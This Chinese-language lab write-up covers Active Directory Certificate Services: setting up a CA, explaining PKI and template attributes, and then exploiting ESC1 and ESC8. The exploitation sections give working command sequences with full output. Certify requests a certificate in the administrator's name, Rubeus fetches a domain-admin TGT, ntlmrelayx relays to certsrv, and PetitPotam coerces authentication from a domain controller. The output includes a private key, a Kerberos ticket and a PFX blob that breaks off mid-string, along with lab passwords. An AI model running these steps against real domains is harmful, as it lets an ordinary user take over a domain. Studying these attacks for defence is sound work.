ADCS小结

# 前言 生产环境中切记不能将证书服务安装在DC,强烈建议证书服务部署在单独的一台服务器 因为证书服务特性(不能更改计算机名称、网络参数) 我这里为了方便起见,直接部署在了DC上面...

0x00 前言

生产环境中切记不能将证书服务安装在DC,强烈建议证书服务部署在单独的一台服务器

因为证书服务特性(不能更改计算机名称、网络参数)

我这里为了方便起见,直接部署在了DC上面

0x01 环境图

父域控 Windows Server 2016

  1. SUN\Administrator
  2. Qaz123.

用户

  1. SUN\user1
  2. Wsx123.

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辅域控 Windows Server 2016

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父域用户 Win10

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0x02 ADCS 环境搭建

1、搭建一个域环境

2、搭建ADCS

点击添加角色和功能

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勾选Active Directory 证书服务

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勾选证书颁发机构、证书注册Web服务、证书颁发机构Web注册

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点击安装

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进行配置

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因为只有证书颁发机构,所以我们只配置这个服务即可

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证书有效期默认:5年

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选择存储位置

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配置成功

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配置证书颁发机构Web注册

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打开控制面板—>管理工具—>证书颁发机构

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环境搭建完成

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0x03 辅域搭建

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选择从父域复制

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0x04 证书服务

首先介绍一下PKI公钥基础结构

在PKI(公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联

为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问

image-20220426173142900

Microsoft提供了一个完全集成到Windows生态系统中的公钥基础结构(PKI)解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。

启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即Active Directory Certificate Services(ADCS)

关键术语

1、根证书颁发机构 (Root Certification Authority)
证书基于信任链,安装的第一个证书颁发机构将是根CA,它是我们信任链中的起始

2、从属CA(Subordinate CA)
从属CA是信任链中的子节点,通常比根CA低一级。

3、颁发CA(Issuing CA)
颁发CA属于从属CA,它向端点(例如用户、服务器和客户端)颁发证书,并非所有从属CA都需要颁发CA

4、独立CA(Standalone CA)
通常定义是在未加入域的服务器上运行的CA

5、企业CA(Enterprise CA)
通常定义是加入域并与Active Directory域服务集成的CA

6、电子证书(Digital Certificate)
用户身份的电子证明,由Certificate Authority发放(通常遵循X.509标准)

7、AIA(Authority Information Access)
权威信息访问(AIA)应用于CA颁发的证书,用于指向此证书颁发者所在的位置引导检查该证书的吊销情况

8、CDP(CRL Distribution Point)
包含有关CRL位置的信息,例如URL (Web Server)或 LDAP路径(Active Directory)

9、CRL(Certificate Revocation List)
CRL是已被撤销的证书列表,客户端使用CRL来验证提供的证书是否有效

ADCS服务架构

ORCA1:首先使用本地管理员部署单机离线的根CA,配置AIA及CRL,导出根CA证书和CRL文件

由于根CA需要嵌入到所有验证证书的设备中,所以出于安全考虑,根CA通常与客户端之间做网络隔离或关机且不在域内,因为一旦根CA遭到管理员误操作或黑客攻击,需要替换所有嵌入设备中的根CA证书,成本极高

为了验证由根CA颁发的证书,需要使CRL验证可用于所有端点,为此将在从属CA(APP1)上安装一个Web服务器来托管验证内容。根CA机器使用频率很低,仅当需要进行添加另一个从属/颁发CA、更新CA或更改CRL

APP1:用于端点注册的从属CA,通常完成以下关键配置:

将根CA证书放入Active Directory的配置容器中,这样允许域客户端计算机自动信任根CA证书,不需要在组策略中分发该证书

在离线ORCA1上申请APP1的CA证书后,利用传输设备将根CA证书和CRL文件放入APP1的本地存储中,使APP1对根CA证书和根CA CRL的迅速直接信任。

部署Web Server以分发证书和CRL,设置CDP及AIA

LDAP属性

使用Active Directory Explorer

https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer

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ADCS在LDAP容器中进行了相关属性定义:

  1. CN=Public Key Services,CN=Services,CN=Configuration,DC=sun,DC=com,192.168.40.101 [matrix.sun.com]

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Certificate templates

ADCS 的大部分利用面集中在证书模板中,存储为:

  1. CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=sun,DC=com,192.168.40.101 [matrix.sun.com]

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其objectClass为pKICertificateTemplate,以下为证书的字段:

  • 常规设置:证书的有效期;
  • 请求处理:证书的目的和导出私钥要求;
  • 加密:要使用的加密服务提供程序 (CSP) 和最小密钥大小;
  • Extensions:要包含在证书中的X509v3扩展列表;
  • 主题名称:来自请求中用户提供的值,或来自请求证书的域主体身份;
  • 发布要求:是否需要“CA证书管理员”批准才能通过证书申请;
  • 安全描述符:证书模板的ACL,包括拥有注册模板所需的扩展权限。

证书模板颁发首先需要在CA的certtmpl.msc进行模板配置,随后在certsrv.msc进行证书模板的发布

在Extensions中证书模板对象的EKU(pKIExtendedKeyUsage)属性包含一个数组,其内容为模板中已启用的OID (Object Identifiers)。

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这些自定义应用程序策略(EKU oid)会影响证书的用途,以下 oid的添加才可以让证书用于Kerberos身份认证

描述 OID
Client Authentication 1.3.6.1.5.5.7.3.2
PKINIT Client Authentication 1.3.6.1.5.2.3.4
Smart Card Logon 1.3.6.1.4.1.311.20.2.2
Any Purpose 2.5.29.37.0
SubCA (no EKUs)

Enterprise NTAuth store

NtAuthCertificates包含所有CA的证书列表,不在内的CA无法处理用户身份验证证书的申请

向NTAuth发布/添加证书:

  1. certutil.exe dspublish f IssuingCaFileName.cer NTAuthCA

要查看NTAuth中的所有证书:

  1. certutil.exe viewstore enterprise NTAuth

要删除 NTAuth中的证书:

  1. certutil.exe -viewstore -enterprise NTAuth

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域内机器在注册表中有一份缓存:

  1. HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates

当组策略开启自动注册证书,等组策略更新时才会更新本地缓存

Certification Authorities & AIA

Certification Authorities容器对应根CA的证书存储。当有新的颁发CA安装时,它的证书则会自动放到AIA容器中

  1. CN=sun-MATRIX-CA,CN=AIA,CN=Public Key Services,CN=Services,CN=Configuration,DC=sun,DC=com,192.168.40.101 [matrix.sun.com]

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来自他们容器的所有证书同样会作为组策略处理的一部分传播到每个网络连通的客户端

当同步出现问题的话,KDC认证会抛KDC_ERR_PADATA_TYPE_NOSUPP报错

Certificate Revocation List

证书吊销列表(CRL)是由颁发相应证书的CA发布的已吊销证书列表,将证书与CRL进行比较是确定证书是否有效的一种方法

  1. CN=<CA name>,CN=<ADCS server>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=

通常证书由序列号标识,CRL除了吊销证书的序列号之外,还包含每个证书的吊销日期,有效吊销日期和吊销原因

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0x05 PKI

PKI 是一个术语,有些地方会采用中文的表述——公钥基本结构,用来实现证书的产生、管理、存储、分发和撤销等功能。我们可以把他理解成是一套解决方案,这套解决方案里面需要有证书颁发机构,有证书发布,证书撤掉等功能。

0x06 证书注册过程

要从 AD CS 获取证书,客户端需要经过⼀个称为注册的过程

1、客户端首先根据Enrollment Services 容器中的对象找到企业 CA,然后创建公钥/私钥对
2、将公钥、证书主题和证书模板名称等其他详细信息 一起放在证书签名请求 (CSR) 消息中,并使用私钥签署,然后将 CSR 发送到企业 CA 服务器
3、CA 首先判断用户是否允许进行证书申请(它会通过查找 CSR 中指定的证书模板 AD 对象来确定是否会颁发证书),证书模板是否存在以及判断请求内容是否符合证书模板
4、通过审核后,CA 将使用证书模板定义的设置(例如,EKU、加密设置和颁发要求等)并使用 CSR 中提供的其他信息(如果证书的模板设置允许)生成含有客户端公钥的证书,并使用自己的私钥来签署
5、签署完的证书可以进行查看并使用

0x07 ADCS漏洞—ESC1

创建普通域用户

  1. net user /add user1 Wsx123. /domain

查看域用户

  1. net users /domain

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赋予这个普通域账户一定权限

把这个普通域账户加到以下任意一个组即可

  1. Account Operators
  2. Administrators
  3. Backup Operators
  4. Print Operators
  5. Server Operators
  1. net localgroup "Account Operators" /add user1

前言

在ADCS中,错误配置会导致普通域用户到域管理员的提权。主要体现在证书模板这里,在证书模板中,我们可以设置应用程序的策略

错误配置

1、我们需要有权限去获取证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启

环境配置

打开控制面板—>管理工具—>证书颁发机构

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点击证书模板,右键选择管理

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使用certtmpl.msc创建

右键复制工作站身份认证模板,做一些修改

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1、在常规—>修改模板显示名称为MATRIX

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2、扩展—>的应用程序策略—>加入客户端身份认证

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3、在安全中加入Domain Users具有注册权限

点击添加,选择高级

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在使用者名称中,选择在请求中提供,也就是开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

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最后进行应用,确定

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使用Certsrv.msc,发布我们创建的危害模板

右键新建—>要颁发的证书模板(T)

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检测

使用Certify检测有没有证书配置错误

https://github.com/GhostPack/Certify

  1. Certify.exe find /vulnerable

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注意

Certify.exe工具有1个DLL依赖,需要复制到同目录下

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在普通域用户下,获取证书,注意altname参数,这个需要填的是域管用户名。

  1. C:\Users\user1\Desktop\test>Certify.exe request /ca:matrix.sun.com\sun-Matrix-CA /template:MATRIX /altname:administrator
  2. _____ _ _ __
  3. / ____| | | (_)/ _|
  4. | | ___ _ __| |_ _| |_ _ _
  5. | | / _ \ '__| __| | _| | | |
  6. | |___| __/ | | |_| | | | |_| |
  7. \_____\___|_| \__|_|_| \__, |
  8. __/ |
  9. |___./
  10. v1.0.0
  11. [*] Action: Request a Certificates
  12. [*] Current user context : SUN\user1
  13. [*] No subject name specified, using current context as subject.
  14. [*] Template : MATRIX
  15. [*] Subject : CN=user1, CN=Users, DC=sun, DC=com
  16. [*] AltName : administrator
  17. [*] Certificate Authority : matrix.sun.com\sun-Matrix-CA
  18. [*] CA Response : The certificate had been issued.
  19. [*] Request ID : 6
  20. [*] cert.pem :
  21. -----BEGIN RSA PRIVATE KEY-----
  22. MIIEowIBAAKCAQEAmnJz1yLgZuP7Xkxc9vki8CQRr4FZQZdQqjzeiTaBPYiwyQ+D
  23. PFqyI3tz5gu8F7eI50snhPoZXkgREssW9vsYL+Rq1XXcS/rHuInDo56OO4mcGDcp
  24. Yu2udpqtteUrgbvc/VARR/Jr61GULMxFyfubk332xLpnqKRTXrHvGO7eJXQ6Cspr
  25. /2vWz2mBIqDVM7QIqNUtAUmW9fSpRinPh67OHhCq+/43KwsH5Ea6Pq5j62ho7v0X
  26. aviK1cr8yzG4jHezWU2kvHIfDr1tjVE5pozWLi9s7O/8ldEx+ob6Xi2Z9JNAcIys
  27. 6sVnpJ0p6aedHsJO4olKBNzlzFMnUSQO8H5lVwIDAQABAoIBAAR8YYf0n97tLT5i
  28. amrT9qNR8N+PmreQfQvMw8vpdNyELVpRpIaqvbTRH58lZRutPYE2ShoPJ5B4+GH6
  29. 2xpmVaACeuXjS/g6+vUNr0x/zPLGvu1nIMEaVTBlsrjvRJG6kqMa4b2cuWy2zF52
  30. umow8CZbCMFTBrK7vx4nfeHUAkjFKV7FLgJPqj7ou+FiLK98UCBWyAFkyOn9ejGI
  31. MG5HALOTPeZsU5C0eVf9gNrPHM0o8RPix9fji0EBWRycBkSghAPhsaQt3/h1z7s0
  32. FJ2pDiperJerRz5qb8BmTdSseAYizTlxhLYx0cxb6WvCqWwv2SR4Npr0rYWRnKmJ
  33. F83QqCUCgYEA0kpVaoTFakp1z31TNt19dd8U40xHz+BleGjrJb+d4PW6HVTx7+2L
  34. XelaL0moH66DGAhm90ttbhDxTwgx8cmA/T227TuW1kLb2nQTtW3BrMz8CLdGkrMc
  35. Qx+J2HMCP2kI4IJmhnUd8Ifo6DRI1ca/UgZ5V0HnhQk6BFmrAVF2Yd0CgYEAvAS0
  36. HGDOBfYgkwidso5LmxshJBgE5ZOF4u0ykG9P7/irWh77VY8g17YWDbStBKe289uC
  37. l/9ZMp3m6QKG4x5PluuMSnMi8mjKwMFxuPn206coGXRrFvJq8Qd/SXYfoGXoMxzI
  38. ughgqGDcogv4VzNCfVI6+YfP/jc2J7ih0zK0osMCgYAN1TPvMNKnnkRHpM/PgRxa
  39. n5UJKqBirTkfhY9KSWOCQ8e9XDQZ+z86qznyeF7lzp3y+8KCK+UD43tsHnbil8Wz
  40. YtbgnhXa/EToBtCxE4o06rr9e8jZp4yJYc64fUA9mZQq6IkD+TpB8z6/34iW/17g
  41. b2qV8dDf8G5vkNJt4MTvxQKBgQCSmyBOGHXNVDPmMou0lRwDH85htJDs6nE1lzsc
  42. QI+WUNJb/ViBSI+VZBgiK8XVoWkZEQrttmA5BcLt4diH9DSfO6Ay1UBkwK2IS85/
  43. K/n445hy8MIoLHKS6wOnpoHWsl+yqzkhRjMIWC7x9F96ry+jRKFTvUDDuw1xP5h/
  44. dERBvQKBgGNYcYZ6VQyxT8l1E3I4s9zEG7TIn7XK0Sb3kcSjB14/3KK/kWe2F0zK
  45. cHeDTPCm+SA300w18gRUUBMpS0dTNC54vMM2/50Bui8K4sPenEZIeImtatyRB3EW
  46. aotd5SQ/ha7g1TG4MyWXy3pZyeqWkTv4tb2kLRMtiUB3WUCNIWcS
  47. -----END RSA PRIVATE KEY-----
  48. -----BEGIN CERTIFICATE-----
  49. MIIFkjCCBHqgAwIBAgITZAAAAAa/vGRwJ/OKnwAAAAAABjANBgkqhkiG9w0BAQsF
  50. ADBCMRMwEQYKCZImiZPyLGQBGRYDY29tMRMwEQYKCZImiZPyLGQBGRYDc3VuMRYw
  51. FAYDVQQDEw1zdW4tTUFUUklYLUNBMB4XDTIyMDUwNzE5NDcxMVoXDTIzMDUwNzE5
  52. NDcxMVowSjETMBEGCgmSJomT8ixkARkWA2NvbTETMBEGCgmSJomT8ixkARkWA3N1
  53. bjEOMAwGA1UEAxMFVXNlcnMxDjAMBgNVBAMTBXVzZXIxMIIBIjANBgkqhkiG9w0B
  54. AQEFAAOCAQ8AMIIBCgKCAQEAmnJz1yLgZuP7Xkxc9vki8CQRr4FZQZdQqjzeiTaB
  55. PYiwyQ+DPFqyI3tz5gu8F7eI50snhPoZXkgREssW9vsYL+Rq1XXcS/rHuInDo56O
  56. O4mcGDcpYu2udpqtteUrgbvc/VARR/Jr61GULMxFyfubk332xLpnqKRTXrHvGO7e
  57. JXQ6Cspr/2vWz2mBIqDVM7QIqNUtAUmW9fSpRinPh67OHhCq+/43KwsH5Ea6Pq5j
  58. 62ho7v0XaviK1cr8yzG4jHezWU2kvHIfDr1tjVE5pozWLi9s7O/8ldEx+ob6Xi2Z
  59. 9JNAcIys6sVnpJ0p6aedHsJO4olKBNzlzFMnUSQO8H5lVwIDAQABo4ICdzCCAnMw
  60. PgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIgs3id4HS0W6HnYMhgeyBP4bh0jOB
  61. E4LRq3aB2qkQAgFkAgEEMBMGA1UdJQQMMAoGCCsGAQUFBwMCMA4GA1UdDwEB/wQE
  62. AwIFoDAbBgkrBgEEAYI3FQoEDjAMMAoGCCsGAQUFBwMCMB0GA1UdDgQWBBRvaaTB
  63. 8gvAN6Sa18yQ3Fpl67xExjAoBgNVHREEITAfoB0GCisGAQQBgjcUAgOgDwwNYWRt
  64. aW5pc3RyYXRvcjAfBgNVHSMEGDAWgBRN/G56QCM1UH7CRYYHNaX6PhaIITCBxgYD
  65. VR0fBIG+MIG7MIG4oIG1oIGyhoGvbGRhcDovLy9DTj1zdW4tTUFUUklYLUNBLENO
  66. PW1hdHJpeCxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
  67. dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1zdW4sREM9Y29tP2NlcnRpZmljYXRl
  68. UmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Q
  69. b2ludDCBuwYIKwYBBQUHAQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9D
  70. Tj1zdW4tTUFUUklYLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNl
  71. cyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXN1bixEQz1jb20/Y0FD
  72. ZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3Jp
  73. dHkwDQYJKoZIhvcNAQELBQADggEBAHMTY+N1tykT8h6y/X8/h7a3BgfZ/TNQueli
  74. Dt6AfBbkRt/sohWjnX5wvrFJVnQkcxelUS4QqXGUw3ALpH+oVrXle05RA2Mc5qlL
  75. xqLgiu7hT8CtX1w1kBvDZpGNLPURw7woNuNYc5Jo2wpAqN2j6OyC9jFg2zqklyNI
  76. GG1CaqJRFW4wNsNI6+PCRXgiqy3BuCKtCAWyWupxB4VHIDNLAnA2q8Z/fwqrTvLp
  77. kc4XUd5PQEA1m1JOhHNth4onBqKnPu1v2NPXj5bF5qsv8MLTTVSdsI4KXvyzV5RI
  78. kXSvwcTwdkCW8NuxXj4c2b+s7i9Ko+VF8VuAC5gkyCs+8WH/JMM=
  79. -----END CERTIFICATE-----
  80. [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  81. Certify completed in 00:00:15.4993945

image-20220508035932839

image-20220508040034743

-----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----复制保存为cert.pem

算换pem到pfx,不要输入密码

  1. openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

image-20220508040223756

使用Rubeus获取TGT

  1. C:\Users\user1\Desktop\test>Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.40.101 /ptt
  2. ______ _
  3. (_____ \ | |
  4. _____) )_ _| |__ _____ _ _ ___
  5. | __ /| | | | _ \| ___ | | | |/___)
  6. | | \ \| |_| | |_) ) ____| |_| |___ |
  7. |_| |_|____/|____/|_____)____/(___/
  8. v2.0.2
  9. [*] Action: Ask TGT
  10. [*] Using PKINIT with etype rc4_hmac and subject: CN=user1, CN=Users, DC=sun, DC=com
  11. [*] Building AS-REQ (w/ PKINIT preauth) for: 'sun.com\administrator'
  12. [*] Using domain controller: 192.168.40.101:88
  13. [+] TGT request successful!
  14. [*] base64(ticket.kirbi):
  15. doIFpjCCBaKgAwIBBaEDAgEWooIExTCCBMFhggS9MIIEuaADAgEFoQkbB1NVTi5DT02iHDAaoAMCAQKh
  16. EzARGwZrcmJ0Z3QbB3N1bi5jb22jggSHMIIEg6ADAgESoQMCAQKiggR1BIIEcUi+EUdQG0gcdIpJUaPg
  17. S2F/YKSRd5pHPjtigFbP9lD1c6ZbNS1C0jzul0qnHhmENbQJXzkQ+T8zdB+WNScpRHGYUnGFVH4AShuC
  18. 0iI8tInQKtAe7wYy8tsgfueNBkc+NemUHJZfNLzEqmnOmb2RqQIQdk6PaYjXk2dHl6+zzu42HQcVJHJA
  19. w+1Ol0D7QmMu5r4HsxH32Pq6VczFkLZTDx//FfTT/+2VCkPyrg8fn1VsW7qXep98fjRF00ua97gJp28w
  20. zwflmhALnUMu7CiAmkVDOWA17ROkRIAXn2dtE/daTkcRIuCoVd2vVdH9UOHr5LOo6DZ8UR07NShyr6hO
  21. QbOIhUOdid8GMM8zyzjEdLZLHhNmpDWId+bz+zISJDx/Xi7v4+ZzGa1pQHsgBfLrvBdZrr7joiucLdxO
  22. nzYI3niOrHypFliQ8OwgQhijtDgimTG+6U35z3goK+ahlR+Evx8p8BN3KoT12gPknT+nk6Nbt1n0eEM0
  23. 4sr9zylqI9Py128lrZzL50mOwGh8o+TZEklje0Jk+7FJ+TuIx+LDWvk00MELpX/2Rs5wsgZADnlsmPKw
  24. n97/ojJeoKuI4mqDN2kggtU3Enurl5+XJBegr3U7bZvu9ukIdgqh/rHcX1Qrl9KKxMXcz/XI2KkD4OGn
  25. kwMn1rsx7ptW8xAH4GgzDohMYuOxaIZvHqxwE704fP4XFhMiXohHpBLE+yMpgPl09qUoLhsTEUgmEUu4
  26. YhLuwHyTOZIB0hd7CjvV00N6f2BlxCcHR5p3f9oeJa+54ZgzFsqah6pAT2rH/xvG6wexny7BzkENnTLE
  27. dzLpoJkXl1C/lpLSMmmgiX8gNUDowk1ULHN4zamIbTIisx1m3Xvu08vkVcrDda+1gqgBi5r7eLEQhxF0
  28. dMjBSnrZHmolDncuj44pSElqH5UUX6C00nDRYvFgAPfFtzaH+W1BoJRbSR96S8sVTTXrHQyjFIV/GgFP
  29. EL15GXS4rrt1IWeVJ8Ot0JrIHEk65i3LpSBZmHAqafGTOgug1CDj4fX/WhdgtpilCGSAo0AXeYpOS5n+
  30. Erp18B8GGc/16kR1PrO76YYnBlWba92QbqNVuWKbXAga5/+hL6VG/l6I7+Uo3hMvOVGmcduKEuEzkHNG
  31. bSgWbSXZNzOOzzssM9CYO7iuwlp0n3GA2DLaA7X0G+YnNQZYIUOozpm+VXidD5r3biI12M4MCBDoZoep
  32. +BuinPem4xtmH/nDlKcC3kTKVYX+Qoc0B1EM7MOga/71pTg1nD9yv45B5LyJTyJjMftypDnA3VwF3eWA
  33. VsZh50Xo4OUcTL47N/mKo3EvVlRcZW3qRxLE1it7pCEeOsNCk6zOIZzEoImKbTvhDkGmI/2rntUT9iya
  34. SPsBa86TTafCHfC2t5JN9aKBLEsOF+T/V+8NE2v5PQ6jmNEvc/7/Elqjjms5udbZ2W/i+KQ26Mn/GVUj
  35. 3vN3r1/4+0ArlszhYMj3kKZr58Gfs5cHb84i5AUTqFTpp0rOGvDSombH+6OBzDCByaADAgEAooHBBIG+
  36. fYG7MIG4oIG1MIGyMIGvoBswGaADAgEXoRIEEINlaliMpcqUrXbMxnxAdlWhCRsHU1VOLkNPTaIaMBig
  37. AwIBAaERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEDhAAClERgPMjAyMjA1MDcyMDA1MDdaphEYDzIwMjIw
  38. NTA4MDYwNTA3WqcRGA8yMDIyMDUxNDIwMDUwN1qoCRsHU1VOLkNPTakcMBqgAwIBAqETMBEbBmtyYnRn
  39. dBsHc3VuLmNvbQ==
  40. [+] Ticket successfully imported!
  41. ServiceName : krbtgt/sun.com
  42. ServiceRealm : SUN.COM
  43. UserName : administrator
  44. UserRealm : SUN.COM
  45. StartTime : 2022/5/8 4:05:07
  46. EndTime : 2022/5/8 14:05:07
  47. RenewTill : 2022/5/15 4:05:07
  48. Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
  49. KeyType : rc4_hmac
  50. Base64(key) : g2VqWIylypStdszGfEB2VQ==
  51. ASREP (key) : DD24BE4AD10283239ED5704FA692D63B
  52. C:\Users\user1\Desktop\test>

image-20220508040705541

image-20220508040724018

  1. dir \\matrix.sun.com\c$

image-20220508040646097

ADCS漏洞—ESC8(PetitPotam)(ADCS relay)

前言

ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持NTLM认证

环境配置

打开控制面板—>管理工具—>Internet Information Services (IIS)管理器

image-20220507174927485

打开身份验证功能

image-20220507181634486

针对Windows 身份验证,默认是已启用

image-20220507181653049

右键提供程序,进行查看

可以看到是支持NTLM认证的

image-20220507181741721

使用PSPKIAudit工具包,查看Powershell执行策略

  1. Get-ExecutionPolicy

image-20220506210550194

四种策略

  1. Restricted 禁止运行任何脚本和配置文件(默认)
  2. AllSigned 可以运行脚本,但要求所有脚本和配置文件由可信发布者签名,包括在本地计算机上编写的脚本
  3. RemoteSigned 可运行脚本,但要求从网络上下载的脚本和配置文件由可信发布者签名,不要求对已经运行和本地计算机编写的脚本进行数字签名
  4. Unrestricted 可以运行未签名的脚本

设置策略

  1. Set-ExecutionPolicy Unrestricted

image-20220506210647160

导入模块:

  1. Get-ChildItem -Recurse | Unblock-File
  2. Import-Module .\PSPKIAudit.psm1

分析 CA 服务器和已授权发布的模板以寻找潜在的提升机会

可以看到默认是存在ESC8

  1. Invoke-PKIAudit

image-20220507182734063

定位证书

  1. certutil -config - -ping

image-20220507205004383

image-20220507205025344

尝试访问是可以的

  1. http://192.168.40.101/certsrv/certfnsh.asp

image-20220507205203095

实操

在kali中

ntlmrelayx.py将证书颁发机构 (CA) 设置为中继目标,开启监听

  1. python3 ntlmrelayx.py -t http://adcs/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'
  2. python3 ntlmrelayx.py -t http://192.168.40.101/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'

image-20220507205351893

使用打印机漏洞,触发PetitPotam,使用工具:https://github.com/topotam/PetitPotam

  1. python3 PetitPotam.py -u '' -d '' -p '' kali_ip 辅域_ip
  2. python3 PetitPotam.py -u '' -d '' -p '' 192.168.40.129 192.168.40.102

image-20220507221741113

成功收到回连

image-20220507221804024

它是base64的,并且user是STEVEN$

  1. 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